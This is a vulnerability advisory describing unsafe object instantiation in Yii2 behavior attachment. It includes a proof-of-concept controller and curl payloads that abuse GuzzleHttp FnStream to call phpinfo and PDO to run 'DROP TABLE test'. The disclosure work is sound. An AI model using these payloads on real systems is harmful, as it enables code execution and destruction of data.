Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Impact

With some effort malicious code can be injected executed which might be anything ranging from deleting files to dropping database tables

Patches

Not yet patched.

Workarounds

No Work around available

References

Reported Here

in case the link is dead, here is the full description

Description

Yii2 supports attaching Behaviors to Components by setting properties having the format 'as <behaviour-name>'.

Internally this is done using the __set() magic method. If the value passed to this method is not an instance of the Behavior class, a new object is instantiated using Yii::createObject($value). However, there is no validation check that verifies that $value is a valid Behavior class name or configuration. An attacker that can control the content of the $value variable can then instantiate arbitrary classes, passing parameters to their constructors and then invoking setter methods.

Depending on the installed dependencies various kind of attacks are possible.

Proof of Concept

A PoC application was created using composer create-project, as specified in the getting started.

Yii JSON parser was enabled in the configuration:

'parsers' => [ 'application/json' => 'yii\web\JsonParser' ]

A vulnerable controller was added:

<?php

namespace app\controllers;

use yii\base\Component;
use yii\web\Controller;

class ExploitableController extends Controller
{
    public function beforeAction($action): bool
    {
        // Needed only to simplify the PoC
        $this->enableCsrfValidation = false;
        return parent::beforeAction($action);
    }

    public function actionVulnerable(): string
    {
        $fields = $this->request->post();
        $myComponent = new Component();
        foreach ($fields as $key => $value) {
            $myComponent->$key = $value;
        }
        return "";
    }
}

Executing phpinfo()

Following command stores the content of phpinfo() inside info.html:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"GuzzleHttp\\Psr7\\FnStream", "__construct()": [[]], "_fn_close": "phpinfo"}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable > info.html

It leverages the fact that GuzzleHttp\Psr7\FnStream class executes call_user_func($this->_fn_close) inside __destruct(). This class is a default dependency.

Executing arbitrary MySQL queries (blind execution)

If the application is connected to a MySQL database it is possible to exploit the PDO class to execute arbitrary SQL queries:

curl -XPOST -H "Content-Type: application/json" -d '{"as hack": {"__class":"\\PDO", "__construct()": ["mysql:host=127.0.0.1;dbname=test", "test", "test", {"1002": "DROP TABLE test"}]}}' http://localhost:8080/index.php?r=exploitable%2Fvulnerable

Notice that the server will always return a 500 Internal Server Error (because the instantiated class is not a Behavior), however the query is executed, even if we can’t receive any output from it. If the query fails we might see a PDO error message (i.e. “Table ‘test.foo’ doesn’t exist”), depending on the app configuration.

Impact

It is not trivial to exploit this bug, because it depends on peculiar characteristics of the target application. However, it looks that there is at least one very popular product built on Yii2 that is severely affected by this vulnerability (allowing to an anonymous user to gain admin access, with an easy exploit).

The consequences of the exploitation could vary from retrieving sensitive information to DoS or unauthorized access.

Occurrences

Component.php L191